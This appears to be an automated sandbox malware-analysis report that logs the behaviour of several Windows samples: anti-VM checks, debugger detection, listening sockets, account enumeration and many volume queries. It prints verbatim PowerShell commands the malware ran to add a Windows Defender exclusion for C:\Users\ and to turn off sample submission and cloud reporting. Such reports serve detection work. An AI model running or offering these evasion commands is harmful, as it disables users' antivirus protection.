Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB55013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8BFB55013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB857B3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8BFB857B3

Source: C:\Users\user\Desktop\cZO.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: main.exe, 00000020.00000002.3261486868.00000270D3738000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllm3
Source: svchost.exe, 0000001F.00000002.3263426432.000001D379836000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: svchost.exe, 0000001F.00000002.3262697506.000001D378AC7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263371493.000001D379800000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: main.exe, 00000016.00000002.3154747003.000002234F1D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510794984.0000021015F04000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: cZO.exe, 00000001.00000002.3262302177.0000000000911000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2456376658.000002234F1DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\cZO.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Process queried: DebugPort
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Code function: 6_2_00007FF77572FF1F GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

6_2_00007FF77572FF1F

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Code function: 6_2_00007FF7757245D5 fopen,_fsopen,fseek,_errno,_errno,_errno,_errno,_errno,_errno,_errno,_errno,ftell,_errno,_errno,_errno,_errno,fseek,fread,_errno,_errno,_errno,_errno,GetProcessHeap,HeapAlloc,_errno,_errno,_errno,_errno,GetProcessHeap,HeapFree,fclose,

6_2_00007FF7757245D5

Source: C:\Users\user\Desktop\cZO.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Code function: 6_2_00007FF775721131 Sleep,Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,_cexit,	6_2_00007FF775721131
Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Code function: 6_2_00007FF77573B6B8 QueryFullProcessImageNameW,SetFileAttributesA,SetUnhandledExceptionFilter,TlsGetValue,VirtualProtect,	6_2_00007FF77573B6B8
Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Code function: 6_2_00007FF77573B668 IsDBCSLeadByteEx,OpenProcess,QueryFullProcessImageNameW,SetFileAttributesA,SetUnhandledExceptionFilter,TlsGetValue,VirtualProtect,WideCharToMultiByte,	6_2_00007FF77573B668
Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Code function: 6_2_00007FF7757305D9 SetUnhandledExceptionFilter,	6_2_00007FF7757305D9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF6BE031131 Sleep,Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,_cexit,	22_2_00007FF6BE031131

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"			Jump to behavior

Modifies Windows Defender protection settings

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"
Source: C:\Users\user\Desktop\cZO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

6_2_00007FF77572292E

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 6524 -ip 6524
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6524 -s 1236

Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe

Process created: C:\Windows\System32\taskkill.exe taskkill.exe /F /FI "SERVICES eq RDP-Controller"

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Code function: 6_2_00007FF775726FD5 GetSystemTimeAsFileTime,

6_2_00007FF775726FD5

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF8B91538C3 LocalAlloc,wcsncpy,LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LookupAccountNameW,LocalFree,GetLastError,ConvertSidToStringSidA,GetLastError,wcslen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,

22_2_00007FF8B91538C3

Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: vc71izwl68ub3txurufnpr09g6ni3.exe, 00000006.00000002.2059689197.000001EFE9AD8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: MsMpEng.exe

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91709A8 listen,	22_2_00007FF8B91709A8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B915240A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8B915240A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B915E549 listen,	22_2_00007FF8B915E549
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91A3A00 listen,	22_2_00007FF8B91A3A00
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91901A9 listen,	22_2_00007FF8B91901A9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B9184F8A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8B9184F8A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA4F240A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8BA4F240A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA4FCC19 listen,	22_2_00007FF8BA4FCC19
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA50F900 listen,	22_2_00007FF8BA50F900
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB315FA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8BFB315FA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB4B820 listen,	22_2_00007FF8BFB4B820
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB5254A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8BFB5254A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB6E900 listen,	22_2_00007FF8BFB6E900
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8E2B9 listen,	22_2_00007FF8BFB8E2B9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB81ADA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	22_2_00007FF8BFB81ADA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFBA0920 listen,	22_2_00007FF8BFBA0920
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B915240A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	32_2_00007FF8B915240A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B9184F8A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	32_2_00007FF8B9184F8A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BA50240A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	32_2_00007FF8BA50240A
